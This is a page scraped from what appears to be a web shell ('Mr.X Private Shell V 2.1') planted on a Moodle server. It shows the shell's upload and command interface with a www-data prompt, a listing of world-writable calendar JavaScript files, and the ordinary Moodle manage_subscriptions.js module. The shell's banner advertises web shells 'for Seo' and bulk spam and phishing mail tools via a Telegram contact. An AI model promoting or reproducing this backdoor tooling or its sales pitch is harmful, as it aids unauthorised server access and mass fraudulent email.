__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * A module to handle Delete/Update operations of the manage subscription page.
 *
 * @module core_calendar/manage_subscriptions
 * @copyright 2021 Huong Nguyen <huongnv13@gmail.com>
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since 4.0
 */

import * as CalendarSelectors from 'core_calendar/selectors';
import * as CalendarRepository from 'core_calendar/repository';
import ModalSaveCancel from 'core/modal_save_cancel';
import * as ModalEvents from 'core/modal_events';
import {exception as displayException, addNotification, fetchNotifications} from 'core/notification';
import Prefetch from 'core/prefetch';
import {getString} from 'core/str';
import {eventTypes} from 'core/local/inplace_editable/events';

/**
 * Get subscription id for given element.
 *
 * @param {HTMLElement} element update/delete link
 * @return {Number}
 */
const getSubscriptionId = element => {
    return parseInt(element.closest('tr').dataset.subid);
};

/**
 * Get subscription name for given element.
 *
 * @param {HTMLElement} element update/delete link
 * @return {String}
 */
const getSubscriptionName = element => {
    return element.closest('tr').dataset.subname;
};

/**
 * Get subscription table row for subscription id.
 *
 * @param {string} subscriptionId Subscription id
 * @return {Element}
 */
const getSubscriptionRow = subscriptionId => {
    return document.querySelector(`tr[data-subid="${subscriptionId}"]`);
};

/**
 * Create modal.
 *
 * @param {HTMLElement} element
 * @param {string} messageCode Message code.
 * @return {promise} Promise for modal
 */
const createModal = (element, messageCode) => {
    const subscriptionName = getSubscriptionName(element);
    return ModalSaveCancel.create({
        title: getString('confirmation', 'admin'),
        body: getString(messageCode, 'calendar', subscriptionName),
        buttons: {
            save: getString('yes')
        },
    }).then(modal => {
        modal.getRoot().on(ModalEvents.hidden, () => {
            element.focus();
        });
        modal.show();
        return modal;
    });
};

/**
 * Response handler for delete action.
 *
 * @param {HTMLElement} element
 * @param {Object} data
 * @return {Promise}
 */
const responseHandlerForDelete = async(element, data) => {
    const subscriptionName = getSubscriptionName(element);
    const message = data.status ? await getString('subscriptionremoved', 'calendar', subscriptionName) : data.warnings[0].message;
    const type = data.status ? 'info' : 'error';
    return addNotification({message, type});
};

/**
 * Register events for update/delete links.
 */
const registerEventListeners = () => {
    document.addEventListener('click', e => {
        const deleteAction = e.target.closest(CalendarSelectors.actions.deleteSubscription);
        if (deleteAction) {
            e.preventDefault();
            const modalPromise = createModal(deleteAction, 'confirmsubscriptiondelete');
            modalPromise.then(modal => {
                modal.getRoot().on(ModalEvents.save, () => {
                    const subscriptionId = getSubscriptionId(deleteAction);
                    CalendarRepository.deleteSubscription(subscriptionId).then(data => {
                        const response = responseHandlerForDelete(deleteAction, data);
                        return response.then(() => {
                            const subscriptionRow = getSubscriptionRow(subscriptionId);
                            return subscriptionRow.remove();
                        });
                    }).catch(displayException);
                });

                return modal;
            }).catch(displayException);
        }
    });

    document.addEventListener(eventTypes.elementUpdated, e => {
        const inplaceEditable = e.target;
        if (inplaceEditable.getAttribute('data-component') == 'core_calendar') {
            fetchNotifications();
        }
    });
};

/**
 * Initialises.
 */
export const init = () => {
    Prefetch.prefetchStrings('moodle', ['yes']);
    Prefetch.prefetchStrings('core_admin', ['confirmation']);
    Prefetch.prefetchStrings('core_calendar', ['confirmsubscriptiondelete', 'subscriptionremoved']);
    registerEventListeners();
};

Filemanager

Name Type Size Permission Actions
calendar.js File 12.46 KB 0777
calendar_filter.js File 3.63 KB 0777
calendar_mini.js File 3.91 KB 0777
calendar_view.js File 3.58 KB 0777
crud.js File 8.84 KB 0777
drag_drop_data_store.js File 5.4 KB 0777
event_form.js File 3.14 KB 0777
events.js File 1.51 KB 0777
export.js File 1.36 KB 0777
manage_subscriptions.js File 4.8 KB 0777
modal_delete.js File 2.97 KB 0777
modal_event_form.js File 13.12 KB 0777
month_navigation_drag_drop.js File 7.29 KB 0777
month_view_drag_drop.js File 13.04 KB 0777
popover.js File 4.12 KB 0777
repository.js File 5.87 KB 0777
selectors.js File 3.03 KB 0777
summary_modal.js File 5.93 KB 0777
view_manager.js File 22.48 KB 0777
Filemanager